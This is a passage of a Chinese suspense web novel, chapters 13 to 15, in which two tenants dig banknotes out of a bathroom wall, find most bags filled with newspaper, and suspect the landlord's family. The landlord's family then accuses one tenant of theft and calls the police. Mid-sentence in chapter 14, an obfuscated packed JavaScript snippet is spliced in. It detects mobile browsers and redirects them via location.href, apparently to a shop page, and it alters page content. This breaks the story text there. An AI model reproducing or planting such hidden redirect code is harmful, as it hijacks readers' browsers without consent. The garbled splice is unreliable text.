楼下骤然传来刺耳的摩擦声,仿佛有人正用力拖拽椅子,木脚碾磨着地砖,尖锐而持久。那声音一阵一阵,在三楼的寂静中显得格外刺耳,如同钝刀在神经上反复拉扯。 夏禧与蔡岛嘉都闭了口,目光在空气中交错,直到噪音散尽,小楼再次被死寂吞没。 “你别装傻。”蔡岛嘉的声音像是从嗓子眼里挤出,干涩又带着火气,“你偷了我的东西。” 夏禧唇角一动,拧出一个冷笑:“你的东西?那是什么?我可不知道。” 顿了顿,她语调一转: “不过,厕所里倒是有点奇怪的东西。” 蔡岛嘉的脸一沉,咬牙切齿:“够了,我们打开天窗说亮话。你到底想要什么?” 屋子里静了几秒,夏禧半晌没应声,目光先是钉在蔡岛嘉僵硬的神情上,随即缓缓垂下。水泊里的她,被蒸汽最后一丝热气搅得支离破碎,面孔模糊得仿佛失去了形状。 良久,她慢吞吞吐出四个字: “你觉得呢?” 蔡岛嘉呼吸重了几分,将心中的猜测脱口而出:“你给田永做过事?还是你听说了什么?” “……你真‘聪明’。”她讥讽地笑了一声。 “你想要钱,我也想要钱。与其互斗便宜了别人,不如我们合作?”蔡岛嘉逼着自己放软声音,“你把拿走的东西还回来,我既往不咎。墙后的东西,无论有多少,我们一人一半。” 夏禧轻轻挑眉,像在审视他的虚张声势:“你有办法取出来?” “当然。”他狠狠点了点头。 沉默在两人之间拉长。 终于,夏禧抬手将墨镜推到头顶,露出那双被岁月磨得暗沉,却仍透着冷光的眼睛。 “你已经取出的那一包东西,我也要一半。” 她的语气随意得像是在讨一杯茶水,可眼神却死死盯着蔡岛嘉,带着几分讥讽,好像真正的乐趣不是钱,而是看他在屈辱中点头的样子。 蔡岛嘉先是愣住,随即脸色涨红,眼底的怒火像要烧穿皮肤。她竟还敢觊觎已经揣进他兜里的钱——在他提出墙里的给她一半之后!他张了张嘴,想骂她贪得无厌,却一个字也吐不出来。沉默良久,他咬牙磨齿地呼出一口气,强迫自己点头: “好,一半。” 13. 第 13 章 当夏禧踩在凳子上,从他的衣柜顶部贴墙位置,拖出那熟悉的黑色防水袋时,蔡岛嘉气笑了。 钱一直在这儿,一直在他眼皮底下,他却偏要去她房间掀床底、翻柜子,像个跳梁小丑,还主动让出墙壁里的一半。荒唐!再没有比这更荒唐的事了,像一巴掌正中脸面,他连愤怒的力气都失去了。 “都在这儿了。”夏禧把黑色防水袋扔在地上,“点点吧。” 蔡岛嘉蹲下身,倒出里面的钱,数了三遍。 分毫不差。 夏禧盯着他:“我的一半呢?” 蔡岛嘉喉结上下滚动,手指僵硬得像不听使唤。他一张一张抽出钞票,动作缓慢而机械,每抽出一张,脸色就暗一分。数到一半时,他像被剜去半块心头肉,眉骨紧绷,牙关死死咬着,硬是把钱推到夏禧面前。 “你和田永什么关系?”他问。 夏禧一把揽过她的一半,随意地用一个塑料袋装了。 “这重要吗?”她随意地瞥了他一眼,“重要的是接下来怎么办?你打算怎么取出墙后面的东西?何阿婆不可能同意你砸墙的。” “……我有办法。你得帮我。”蔡岛嘉说。 十五分钟后,两人找到小院里正在调试小音响的何阿婆,几个跳广场舞的队友正在不远处闲聊。蔡岛嘉凑近了何阿婆,讨好地将自己的诉求一说—— “厕所发霉?那又怎么了噻,厕所发霉很正常啊!”何阿婆原本正弯着腰摆弄音响,闻言立刻停下手,猛地直起身子,两手撑在腰间,像防贼一样盯着他,“别想用这个来压房租,厕所要是能干干爽爽,怎么不做成卧室?” “何阿婆,我的意思是——你厕所不铺防水,不仅现在渗水发霉,以后这种情况还会越来越严重。” 他给了夏禧一个眼色,后者立即可怜巴巴地开口:“是啊,何阿婆,自从住进这里,我的膝盖疼得越发勤了。我倒是能忍,但是我的孩子还小,就怕太潮了容易生病……” “我是不可能铺那什么水的,我们一辈子都这么过来了,你们要娇贵一点?那么娇贵就去住别墅噻,也不看看这里的租金是多少,要求真多!” “不用您出钱铺,我自己铺。”蔡岛嘉忙赔笑道,“我爸爸就是做这行的,我打小就看,也会。不要人工的话,也就一点材料钱,我和夏禧能承担。跟您说一声,主要是因为这也要您同意,我才敢动手啊。” 听到不用自己出钱,何阿婆的脸色迅速和缓下来,但她还是狐疑地上下把他一顿打量: “你真会?你别把我的房子搞坏了——” “您就放心吧,绝对搞不坏!搞坏了,我赔,可以吧?” “何姐姐,可以开始了吗?”广场舞小队里有人问道。 “来了来了!”何阿婆急着开音响跳舞,不耐烦地冲两人挥了挥手,“行了行了,别在这里碍事。” “那防水的事?” “随便你们!反正弄坏了赔钱!” 蔡岛嘉压下狂喜,又保证了两句,这才和夏禧一起回到一楼客厅。 何阿公刚从厨房走出,乐呵呵地说:“小蔡今天起这么早?小夏也在——厨房里有红薯稀饭和榨菜,配着吃点吧。” “谢谢何阿公啊,等会能不能麻烦您帮我兑个奶粉?何阿婆在忙着跳舞呢。” 何阿公和颜悦色道:“开口就行,我早上都有空。” 何阿公走后,蔡岛嘉嫌恶地看了夏禧一眼。这个阴险狡诈的女人,惯会用眼盲、孩子来获取同情,他竟然没有早早发觉。 进了厨房,夏禧先给自己盛了一碗稀饭,蔡岛嘉站在她身后,还等着她也给自己盛一碗,就见夏禧干脆利落地把汤勺扔回了稀饭盆里。 他只好在心里又多骂了一句,夹着尾巴自己盛了一碗。 两人站在厨房最深处,一边吃稀饭,一边用眼角余光瞥着厨房门口,看有没有人靠近。 “防水材料和工具的钱你出。大概一千块。”蔡岛嘉斜睨着夏禧。 “凭什么我全出?” “因为我出力出技术了。没有我,你出去找工人更贵,而且不安全。” “一人一半。” “不行,你全出。” “不行拉倒,咱们就干看着吧。” “……操。”他狠狠磨着牙齿,假装自己嚼着的不是空气,而是夏禧那张讨厌的脸,“一半就一半。” 吃完早餐后,蔡岛嘉将夏禧给的五百块钱揣进牛仔裤兜,独自出门购买防水材料和工具。 七月下旬的太阳像一块烧红的铁板,直直压在头顶。空气里翻滚着热浪,柏油路面烫得发软,远远望去,整条街都在抖动。蔡岛嘉一钻进车里,皮座椅立刻黏上后背,方向盘烫得像炭。 他狠狠开足冷气,才把胸口的闷气压下去。出租车钻进街道,沿途的梧桐树耷拉着叶子,行人撑着伞匆匆而过,连路边的狗都趴在阴影里吐舌头。 不到二十分钟,他在五金店门口停下车,蓝色的招牌早在风吹雨打中掉漆,玻璃门后散着油漆和金属的混合气味。 他的目光在货架上逡巡,最后才挪到繁杂的柜台前。 “老板,水泥纤维板、防水涂料、瓷砖胶……”他一口气吐出七八种原材料的名字,“有吗?” “有,你要多少?”一个秃得只剩一圈毛发的中年男人从椅子上站了起来。 蔡岛嘉估了个大概数量。 男人拿过计算器迅速打出几个数字。 “五百二十四,算你五百二吧。” “怎么这么贵?”蔡岛嘉皱眉,“用最便宜的材料。” 男人在计算器上又重新算了一遍。 “四百一。” “四百。”蔡岛嘉断然道。 男人同意了。 蔡岛嘉从牛仔裤兜里摸出那叠钱,抽出四张压在柜台上。老板麻利地收起,转身把水泥纤维板、几罐胶水和一捆刷子等物,一股脑塞进黑色塑料袋。塑料袋被撑得鼓鼓囊囊,蔡岛嘉一手一只,沉甸甸拎了起来,顶着热浪走出了五金店。 他回到自建楼的时候,广场舞聚会已经结束,客厅里残留着泡过奶粉的香气,何阿公和何阿婆在沙发上看电视,见到他回来,何阿公主动打了个招呼,何阿婆则从喉咙眼里冷哼了一声。 他随便附和了两句后,提着沉甸甸的材料袋爬回三楼。 夏禧听到声音,从房间里开门走出,冷气扑面而来。 “你倒是命好——”蔡岛嘉酸溜溜地讽刺道。 “以后你也会和我一样命好。”夏禧倚着门框,一边嗑瓜子一边说道。 这话听上去怪怪的,但蔡岛嘉没功夫细想。他推开厕所的门,把黑色塑料袋一股脑丢在角落,揭下那块用透明胶固定的白瓷,拎起锤子和錾子,沿着边缝猛敲。 厕所闷得像蒸笼,他不一会就满头大汗,手里的锤子一下一下砸在墙面。水泥层碎裂剥落,瓷砖的回声沉闷,灰白粉尘弥漫在狭窄空间里。墙角的破口越凿越大,碎片散落一地,鞋底踩上去咔咔作响。蔡岛嘉的手臂酸胀得像灌了铅,呼吸变得粗长,汗水把衣襟湿透。整间厕所回荡着他沉重的喘息和断续的砸击声。 在门外嗑瓜子望风的夏禧忽然压低声音说道:“有人上来了。” 蔡岛嘉连忙捧起几块水泥块堵住黑色防水袋的影子,装模作样地在一块瓷砖下敲打起来。 “干得怎么样了?什么时候能完工?” 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蔡岛嘉屏住呼吸,用手指扣住边角,把袋子硬生生拖了出来。他拖了又拖,一共五袋。如果和第一袋的数量一样,那这里就是二十五万美金——一百七十万人民币,能在北京四环内买个一百多平的新房。 就算分给夏禧一半,那也是八十五万。能在江都市全款买一个三环内的改善型大三居。 他的胸口砰砰作响,呼吸乱作一团。恍惚间分辨不清,那轰鸣究竟来自锤子敲墙的余响,还是体内澎湃的血潮。 夏禧不知何时离开了门前,来到了他的身边。她俯视着瓷砖上的四个黑色防水袋,催促道:“打开看看。” 蔡岛嘉伸出手,才发现手指在轻微颤抖。他急忙在裤腿上胡乱擦了几下,深吸一口气,再次伸向防水袋。拉链齿一节节解开,先是潮味,再是墨油味。绿色没有扑上来,而是一叠叠发黄的报纸。眼前的黑袋子变成了讽刺的问好。 他怔住,呼吸猛然一窒。随即动作狂乱地撕开余下的袋子,一袋、一袋,全是报纸。 愤怒与荒谬交织,蔡岛嘉僵在原地,胸腔里空得像被掏空了一截。 夏禧神态沉稳,目光随意扫过地砖上的报纸,再滑向那几个翻开的防水袋,最终落在蔡岛嘉惨白的面孔上。 “现在怎么办?”她问。 “哈……能怎么办?”蔡岛嘉惨笑一声,“至少还有一袋真的美钞。” “这些,你不追回来?”她用脚尖踢了踢地上的空防水袋。 “……什么意思?” “你猜为什么第一个防水袋有钱,后面的没有钱?” 蔡岛嘉露出茫然的表情。 “因为拿走那五袋钱的人,想维持一个‘钱还在墙里’的假象。钱的主人不会做这种多此一举的事,只有小偷,才会在偷走钱之后,想着拖延被发现的时间。” 片刻的呆滞之后,蔡岛嘉的神情突然活了过来,血气和力道一下子都回到了身体里。他直起身,呼吸急促,像被重新点燃。 “没错——你说的没错!” 他忽然想起了什么,猛地拿起地上的报纸,一张张检查起来。 “这些都是今年一月份的报纸。”他越说思路越发清晰,“何阿婆和朵朵说过,他们搬进来快两年了,这次是第一次对外出租,所以——偷走钱的人,还在这栋楼里。” 夏禧不置可否。 蔡岛嘉不需要她的结论,因为结论已经昭然若揭。 偷走二十五万美金的人,每天都在和他们打着照面。 蔡岛嘉手里的报纸被攥得咔咔作响,纸张在掌心拧成一团。他抬起头,眼神森冷,像是从灰烬里蹿出的火苗,咬着牙一字一顿地吐出:“不能就这么算了,那是我的钱。我一定要找回来。” 14. 第 14 章 铜钟又一次将所有人带到那张斑驳的木桌,岁月的油渍与暗斑紧紧黏着表面,如同伤口结痂,永远无法剔除。压抑的气息在桌面上流动,像一层看不见的雾。 蔡岛嘉坐在长桌末尾,不动声色地打量着何家人。 十五分钟前。 “田永虽然入狱了,但他的很多相关人还在外面。何阿婆说过,她是从一个要出国的人手里低价买的自建楼。”蔡岛嘉蹲在一地旧报纸上,脑子在一百七十万的刺激下飞速运转,“我们不知道她说的话是真是假,但可以从结果上倒推。” “偷走钱的人需要留下一个伪装,让钱的原主相信‘钱还在’,起到延缓暴露的时间,那就说明——这个人认识原主或其相关人,知道他们有一天还会回来。” “既然这样,那朵朵可以首先排除了。”夏禧抱臂说道,“一个十二岁的小孩子,能懂什么?” “给你个忠告,尤其不要小看小孩。他们永远比你以为的懂得更多。”蔡岛嘉冷笑着站起身来,“但是,我们可以从其他方面来排除朵朵的嫌疑。想要做到这一切——” 他用脚尖踢了踢地上的空防水袋。 “必须有砸墙的资格和权力,还要有砌墙的时间和力气。” “何阿婆和何阿公都七十多岁了,那就是何序?”夏禧想了想,“他是老夫妻唯一的儿子,想做什么不可以?而且还是居家工作的程序员,有大把时间。我听朵朵说,在我们搬进来之前,三楼一直都是何序和徐朝颜住的地方,朵朵一个人住二楼。” “这是最好的结果。”蔡岛嘉说,“如果我们猜错了,那就说明……” 他面对的不是某一个敌人,而是五个。 餐桌旁,一台老式铁风扇开到最大档,叶片呼呼乱转,吹出的强风带着灼人的热气,像每隔几秒就扇在脸上的新鲜巴掌。 蔡岛嘉顶着热巴掌,眯着眼悄悄观察众人:何阿婆一身地摊老人装,脚上的变形人字拖,前日才炫耀过十块钱三双,每天出门买菜都会捡几个纸壳、饮料瓶回来堆在楼梯转角下,等着攒多了卖钱;何阿公倒是体面得多,总穿笔挺唐装,但料子也是便宜的聚酯纤维,最大的爱好就是养养花草,带着他的棋盒在公园里与老头对战;徐朝颜——他来了这么久,就没见她穿过一次正经衣服,不是蓝色HelloKitty睡衣就是粉色HelloKitty睡衣,她拿那么多钱有什么用?何序——蔡岛嘉对他的了解最少,徐朝颜还会出门看看电视,何序则除了吃饭的时候,几乎不在自建楼里露面。 他的目光在这几人身上隐晦地转了一圈后,落到朵朵身上。 他忘不了刚住进自建楼时,朵朵在二楼窗户边那个俯视的笑容。 “我觉得你很眼熟,但想不起来在哪里见过。” 她究竟在哪里见过自己? 蔡岛嘉一度抓心挠肺地回忆,却始终找不到线索。 “怎么啦,小蔡哥哥?”正在刨饭的朵朵冲他咧嘴一笑,“我嘴角沾上米饭了?” “没有没有……”蔡岛嘉连忙低下头。 谁像偷走了他的钱的人? 谁都不像。 这也意味着,谁都有可能。 午餐后,他和夏禧前后脚回到三楼。他拦住欲回房的夏禧,说: “我想进何序和徐朝颜的房间看看,你得配合我。” 夏禧墨镜后的眉毛一扬,神色诧异道:“我怎么配合?” “用你最擅长的方式。”蔡岛嘉说。 十分钟后,夏禧“不小心”在二楼楼梯上摔倒,呼喊声惊动了一二楼的所有成员。徐朝颜上前搀扶,夏禧悄悄拉住楼梯扶手,前者使了吃奶的力气也没扶动,只好冲房间里喊道:“老公,老公!夏姐摔倒了,你出来帮下忙!” 蔡岛嘉趴在三楼楼梯上方,听到了楼下那间主卧开门的声音,以及何序特有的,节奏分明的脚步声。 “摔得厉害吗?”何序问。 “不知道……脚踝好像扭了,起不来。没事没事,你们不用管我,我在这里坐会说不定就好了——”夏禧说。 “那怎么行?”徐朝颜扬声叫道。 “小夏姐姐怎么了?”朵朵的声音也响了起来。 “楼下有碘酒和膏药贴,我们扶你下去。”何序说。 何序搀扶住夏禧的手臂,她这才顺势站了起来,四人接连下楼后,蔡岛嘉立即下到二楼,试探着转了一下何序、徐朝颜房间的门把手。 门没锁。 他闪身入内。 昏暗里,首先映入眼的是一张大床,四件套也是粉白色的HelloKitty。靠窗摆着一张线条凌厉的书桌,电脑的机箱泛着冷硬的金属光,几块外接屏幕紧挨着竖立,黑漆漆的表面映出微弱的灯影。房间另一侧却凌乱得很,衣服堆在椅背上,床单皱巴巴地垂落在地,脚边散着几包吃了一半的零食。 蔡岛嘉自己也有台式电脑,但那是母亲在他反复要求下给他配的垃圾。 眼前的这一台,却是在用每一根线条告诉他:很贵,非常贵。 除了一看就价值不菲外,这台电脑还带给蔡岛嘉一个疑问——何序拿它来做什么?为什么除了主屏幕外,还有四块外接屏幕? 一个蜗居在城中村里的普通程序员,能负担得起这过分专业的设备吗? 他下意识地掏出手机,给这台电脑上下左右都拍了几张,打算之后找懂行的人估个大概价值。 就在这时,门外忽然传来越来越近的脚步声。 “老公,我给你算个塔罗吧,看你什么时候能发大财——不收钱!”是徐朝颜嬉皮笑脸的声音。 “不算。” “哎,八字我也会算的!要不算八字吧。” “……别闹。” 操,操,操——夏禧那个废物! 蔡岛嘉的脑袋轰地一声炸开,胸口倏然收紧。他猛地把屏幕按灭,慌乱间塞进裤兜,整个人像被烈火烫到般转身,四下张望,急切地想找个能藏身的角落。 床底?这是不透风的落地床。衣柜?等着和徐朝颜四目相对?开门逃走?那是自寻死路—— 脚步声越来越近,他整个人乱成一团,连逃和藏都拿不定主意,只觉得心脏要从嗓子眼里蹦出来。 门开了,徐朝颜率先走进:“哎,你怎么什么都不信?人要有畏惧之心,懂不懂?” 何序后一步进门,却在门前停下了脚步。 “怎么了?”徐朝颜问。 何序的视线越过她的肩头,盯向窗边。风把窗帘吹动,布料鼓起,强烈的阳光从缝隙间斜射进来,在墙面和地板上留下断裂的光影,随风一起抖动。 “你出门时开窗了吗?” 徐朝颜神色愕然,这才注意到开着的窗户。 何序走到窗前,脚步压得极轻。他没有整个人探出去,只是抬手将窗帘拨开一线,侧过脸,目光顺着缝隙往下扫去。 灰扑扑的墙面上,印着一个灰扑扑的脚印,像刚刚留下的痕迹。不远处,一个翻倒的肥桶横在地上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727995|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 褐色的浆液顺着院角慢慢淌开。 …… 烈日下,蔡岛嘉一瘸一拐地冲向停在院子里的黄色出租车。他的运动鞋踩得急响,左脚鞋面糊了一层黄褐色的脏泥,那是他刚才从二楼滑落至后院时踩翻的农家肥,臭得像随身拎了个粪桶。 他钻进蒸笼一样的出租车,顾不得扑面而来的热气,猛地拧动钥匙。等车子完全开出八里村,他才长长吐了一口气,这才想起空调还没开。 沾了粪水的鞋底在热烘烘的车内散发出一阵又一阵的臭味。他被熏得没法,停在路边一家小超市,买了双人字拖换上。他提着那双脏污的运动鞋,犹豫了半晌,想到床底下的半袋美金,毫不留念地将那双曾经的爱鞋扔进垃圾桶。 重新上车,他悠然了许多,先是调整后视镜,再把冷气开到最大档,最后一脚油门,在邻车的骂声中插队穿入车流。 十五分钟后,他把车停在江都市最大的电脑城门口,却见卷帘门统统落下,偌大的商场贴着“装修暂停营业”的告示,冷冷清清。蔡岛嘉皱着眉,又绕着楼体开了一圈。直到拐到背街,他才发现一间亮着灯的组装机店孤零零开着,像漏网之鱼般守在外面。 他拿着手机找到老板,借口是朋友家的设备,也想装个类似的,请他估算要多少钱。 年轻老板看了一眼,随即皱起眉:“只有外观?那怎么给你估算?电脑真正贵的都是里面的硬件。” “那您看这个机箱,或者电脑桌贵吗?”蔡岛嘉不愿放弃,追问道。 见他不依不饶,老板这才推了鼻梁上的眼镜,接过他的手机仔细看起了图片。 “电脑桌看不出来,反正不便宜。机箱倒是像联力的,这个像是基础款,一千多。” “好贵……看来我是配不起同款了。”蔡岛嘉想起自己用的八十八块钱的杂牌机箱,勉强笑了笑,内心对何序的怀疑越发强烈。 蔡岛嘉接过递还的手机,正准备离开,老板随口说了一句: “你配同款干嘛?他又不是打游戏用的。” “……什么意思?”蔡岛嘉的脚步瞬间停在原地。 “你看那几张外接显示屏——打游戏或者做设计,通常都用不了那么多。”老板漫不经心地说,“一般搞监控的才这么接。” 蔡岛嘉的脸色瞬间变得铁青,脑子里闪过无数画面,冷汗从脊背冒了出来。 “你能确定吗,老板?” “看图片确定不了。”老板摇了摇头,“你问朋友不就知道了吗?” 蔡岛嘉下意识咽了口唾沫,喉结滚动,却一句话也说不出来。老板从他的反应上似乎看出了什么,表情由敷衍转为了好奇。 “你要是不方便问,还有一个办法——监控主机一般有多路BNC/HDMI/VGA输出,你可以找个机会,看看主机背面的接口,如果有那种四路、八路输出,那就跑不了。” 再潜入一遍何序和徐朝颜的房间?蔡岛嘉没这个胆子。 他终于将声音挤出干涩的喉咙:“有没有那种能检测摄像头的机器?” “有啊,当然有。”老板的声音一下子热情了起来,“现在市面上有两种方法可以检测是否存在针孔摄像头,一是红外反射型探测器,二是射频探测器,如果照片上真的是监控系统,那么就是本地有线连到主机监控系统,射频探测器不适用,我建议你用红外反射型探测器。” “我要一个。”蔡岛嘉说。 这是他有生以来第一次连价都没问就说出这句话。 15. 第 15 章 傍晚六点的江都市中心,尾灯铺成长河,街道像被红雾笼罩。 喇叭声此起彼伏,车阵蠕动得像一群被困住的虫。蔡岛嘉坐在驾驶座上,僵硬的十指死死扣在方向盘上。直到车流终于松动,他才猛地一拐,钻入村道,绕过几条巷子,把车停进自建楼下的院子里。 蔡岛嘉提起装有红外探测器的黑色塑料袋,刚走出两步,入户门里猛地炸起何阿婆一嗓子,尖得像划玻璃。 “站住!” 何阿婆第一个冲出来,那头稀疏的头发油光发亮地贴在头皮上,棕白交错得像一层霉斑。身上那件花团锦簇的宽大连衣裙,仿佛庙会摊位上扯下来的桌布。她身后的“随从”们挤成一团:何阿公面色绷紧,徐朝颜神情畏缩,何序神色沉稳,朵朵却兴奋得睁大眼睛,差点扑出来追,却被何序一个眼神钉住,只得不情不愿地缩在屋檐下。 蔡岛嘉鼓起的胸腔瞬间瘪下去,下意识将黑色塑料袋往身后藏,嘴里挤出一句软绵绵的、带着慌乱的:“怎么了?” “怎么了?你还好意思问?”何阿婆嗓门又拔高一寸,“我问你,你是不是偷进了二楼主卧?” “我没有!我吃完午饭就出去跑车了!”蔡岛嘉把早备好的话一口气抖出来。 “不认账是吧?”何阿婆冷笑,“那你脚上为啥是新拖鞋?旧的呢?” “穿新拖鞋犯法吗?”蔡岛嘉硬着头皮狡辩。 “穿新拖鞋不犯法,入室盗窃犯法。”何阿公的叹息声清晰地落在院子里,“小蔡,你为什么要这么做?” “和小偷有什么好说的,直接报警吧。”何阿婆不耐烦地一挥手。 何序立刻掏出手机,却被徐朝颜伸手拦住。 “算了吧……反正丢的也不是要紧东西,这要闹出去,多丢人啊。”她压低声音,游移的眼神第一次落在蔡岛嘉身上,“只要你把东西还回来,这次我就当没发生过。” “还什么?” 这个字眼瞬间戳进蔡岛嘉的心口。他脑中第一时间闪出的,是自己从墙里拖出的那一袋美金。可不论他怎么猜,也料不到徐朝颜接下来的话—— “……我的内裤。”她的声音变得更低,几乎是嘶嘶作响。 这句话太荒唐,荒唐到让蔡岛嘉一时连反问都忘了。他愣在原地,目瞪口呆地看着徐朝颜。 “什么东西?”半晌后,他才挤出难以置信的声音,幻想自己是因为炎热的天气而出现了幻听。 “他还在装聋作哑。”何阿婆断然道,“别和他废话了。儿子,报警!” 三分钟后,八里村街道派出所。 戚迪正对着一桶吃干抹净的红烧牛肉面行使“最后搜捕权”。他拈着随餐赠送的白色塑料叉,在汤面上小心翼翼绕圈,像渔民放网。好不容易把一粒黄豆大小的肉干逼到叉齿上,手腕轻轻一抬——肉干顺着缝隙一个回旋,完成了一个漂亮的跳水。 “……靠。” 他低声骂了一句,正要再来一轮,巡逻组员梁芸推门而入。后者是个剪着利落短发,瘦高结实的年轻女人。她拍了拍他的桌面,简短地说:“有任务,出警。” “让别人去,我忙着呢。”戚迪眼皮都没抬。 那粒肉干再次从叉缝溜走,胜利再度归于物理学。 “没别人了,能出的就咱俩。”梁芸语气平直,连眨眼的工夫都省了。 戚戚迪喉咙里挤出一声含糊的抱怨,把整桶汤连同屡次逃逸的肉干一并倒进脚边垃圾桶。 派出所外的夕阳挂在楼檐上,半截沉进灰蒙蒙的天里,余晖把院墙涂成暗红色,像旧铁皮被火烤过。戚迪拉开车门,一屁股坐进副驾,半个身子倚向车门,摇下车窗点了烟。 梁芸面无表情地踩下油门,车子像野兽一样窜出去。那点灰雾在车里翻腾两圈,还没来得及呛人,就被风卷得干干净净,留下一丝若有若无的烟臭。 戚迪叼着烟,和梁芸确认警情细节。 “租户偷了房东的内裤?” “偷的是房东儿媳的内裤。” “有证据吗?” 他随手打开车载音响,黄家驹的歌声立即流淌出来,他刚一跟着哼哼,梁芸松开方向盘上的右手,啪一下把音响关了。 “你干什么?”他瞪过去。 “规定。” “现在车上又没人!” 梁芸看了他一眼,像在看理解能力有问题的史前巨猿:“规定就是规定。你的烟,下车之前也要灭掉。” “……你真应该去干纪委。”戚迪嘴里的烟失去了味道,他砸吧了一下,把还剩半根的烟扔进一个还有小半瓶水的饮料瓶里,“所以呢,证据有没有?” “后墙留下了脚印,小偷翻窗逃走的时候,踩翻了后院的肥料桶,脚印一直延伸到院子停车的地方。据报警人所说,嫌疑人回来的时候脚上穿的是新鞋子,旧鞋不知所踪。” “……那这还有什么好说的?”戚迪冷冷一笑,讥诮写在脸上。 那笑不止是给偷内裤的可怜虫,也是给自己——苦读数年,到头来却只能整日跟鸡毛蒜皮的纠纷打交道。 “我听他们说,你毕业的时候也是年级第一?”戚迪透过烟雾,从后视镜里看着梁芸。 后者只是从喉咙里不咸不淡地应了一声,好像这并非什么殊荣。 “没用的。”戚迪吐出烟雾,声音轻飘,却带着毒,“在基层,能力永远不是最重要的。” 她没有说话,他也不在乎她说什么。她还年轻,脸是冷的,心却是热的,就像他刚毕业那会一样。等她也在基层打转个十年,就会明白他此刻的心情。 “……到了。” 梁芸将车停在自建楼铁门外,解开安全带率先下了车。戚迪随后从副驾下来,抬眼扫了一圈院子里的人: “谁是报警人?” “我是。”何序从迈步走出,语调平直,“我们家的租客偷了我妻子的贴身衣物。” “我没有!”蔡岛嘉涨红着脸,眼珠子急得直转。 “妈的摇裤贼,还在不认!”何阿婆骂声又尖又急,甩开胳膊就要上手,“搜身!现在就搜来看看!” “哎,何阿婆!冷静一点,别一会摇裤没找到,你还把自己送进派出所了。”戚迪伸手按住她的手腕,像摁开一把突然弹出的折叠刀,他对梁芸打了个眼色,“事情是怎么样的,你们再给我说说。” 梁芸点点头,走到蔡岛嘉身边,压着声音说了几句,把他带到槐树下分开问话。院子里热气未散,树影晃动,话音都被压得低低的。 何家人把事前事后复述一遍:外墙上清楚的脚印、被踢翻的肥料桶、一路延伸到车位的泥痕,还有蔡岛嘉回来时脚上那双新拖鞋。戚迪顺着他们的陈述把时间线在脑子里排了一遍,又亲自去看了看所谓的“证据”,心里已有了八九分把握。 “你们的诉求是什么呢?”戚迪问。 “把摇裤还回来,还要公开道歉!再赔偿我们精神损失费两千元!”何阿婆抢着说,腮帮子鼓起来。 “……公开就算了吧?”徐朝颜尴尬地搓着睡裤边,蓝白色的HelloKitty和众人大眼瞪小眼。 何序淡淡道:“让他写保证书,保证以后再不会犯。” 过了一会,梁芸和一脸气闷的蔡岛嘉走了回来,梁芸来到他身边,低声道:“他不承认自己进了二楼主卧。” “那他怎么解释何家人这边的证据?” “他解释不了。”梁芸说,“但他也不肯承认,尤其是偷内裤的事。他反应很激烈,看上去不像假的。” “让我来。” 戚迪示意梁芸留在原地,自己朝蔡岛嘉点了下头,把人领到一边阴影里。 “今天午饭之后,你没进二楼主卧?”戚迪开门见山问道。 “我没去!我吃过饭不久,就出去跑车了。” “那为什么有人看见你进了二楼主卧?” 蔡岛嘉条件反射道:“谁看见了?” “你觉得谁看见了?”戚迪反问。 蔡岛嘉嘴唇动了动,没接上话。 “这就无话可说了?还有外墙的脚印呢。我去看了,很清晰。技术勘验的同事一看一个准,你要是清白很快就洗干净;要是不清白,到时候再求情就没用了。”戚迪说。 蔡岛嘉咕咚一声咽了口唾沫,声音像呛到一样响亮。额角的汗水顺势滑落,仿佛连身体都在急着替他认罪。 “别把小事整大。”戚迪的语气压低了半调,“现在把东西拿出来,我们还能给你当场调解;进了流程,就不是我说了算的了。” 蔡岛嘉的大脑飞快打转:闹大了,他别想好过。三楼厕所的墙还没砌完,来个警察随便一看,就能看出里面藏过东西。可要他承认自己是“摇裤贼”?他咬牙背了这口黑锅也不是不可以,但他哪儿有“东西”还出去? “……我没偷她的内裤。”他艰难挤出一句,这回谨慎得连“没进二楼主卧”都不敢再提。 “和小偷废什么话,搜身!”何阿婆嗓门又尖又快,“他那塑料袋一直攥着不放,八成见不得人!” “这不符合规定,我们没有强制搜身的权力。”梁芸冷声打断。 “除非当事人自愿配合。”戚迪补充道。 所有目光齐刷刷落在蔡岛嘉身上。那一瞬,他第一次真切体会到“百口莫辩”的重量——像被人按在冷水里,想喊也喊不出。若是可能,他恨不得当场把自己剥得干干净净,叫他们睁大眼睛找找他身上究竟有没有HelloKitty。 “……我愿意配合。”他咬牙,一字一顿。 厕所窄得转不开身。戚迪把他的口袋翻得比早点摊的兜儿还干净:几枚硬币,再就是一块折到极致的小纸片。纸片一现身,蔡岛嘉像被人踩了脚背,表情瞬间僵住。 戚迪像是没注意到他的表情变化,双手却稳得很,慢条斯理地把那玩意儿摊平。 是一张银行排队的小票,时间是昨天。 “去银行做什么?” “……存钱。” 戚迪抬眼盯了他一秒,将小票重新叠好,搁在洗手台边。随后把身上能藏东西的地方一一过手,尽是寻常物事。视线最后落在那只黑色塑料袋上。 “里头是什么?” 蔡岛嘉含含糊糊,语尾发虚。戚迪懒得兜圈,直接把袋里东西拽了出来——一个印刷体面的小盒子,封面上印着红外探测器的示意图。所里也有同类设备,只是型号更高级。 “红外探测器?”戚迪拧眉,“买它做什么?” 按理说,真“摇裤贼”多半是那个暗里装针孔、偷拍成性的人,而不是掏钱去买红外探测器、提心吊胆防被偷拍的那个。戚迪的经验和本能都在提醒他:一旦现实里出现了不合逻辑的拼图,缺失的那块,多半就是他还没看见的线索。 “因为是出租房,我怕被偷拍,所以买一个以防万一……”蔡岛嘉道,声音发硬。 戚迪正要接口,门外忽传来夏禧的声音。 “何阿婆?何阿公?小徐?有人在吗?” 他把盒子塞回黑色塑料袋里,转身拉开厕所门,大步走出。 “有什么事吗?”戚迪问。 “哦……没事,我就是想问问进展,”夏禧忙不迭摆手,“对不起对不起,我不是故意打扰您办事的。” 朵朵从客厅快步上前扶住她,小声关切:“小夏姐姐,要兑奶粉吗?我可以帮你。” “暂时不用,谢谢你。”夏禧轻声。 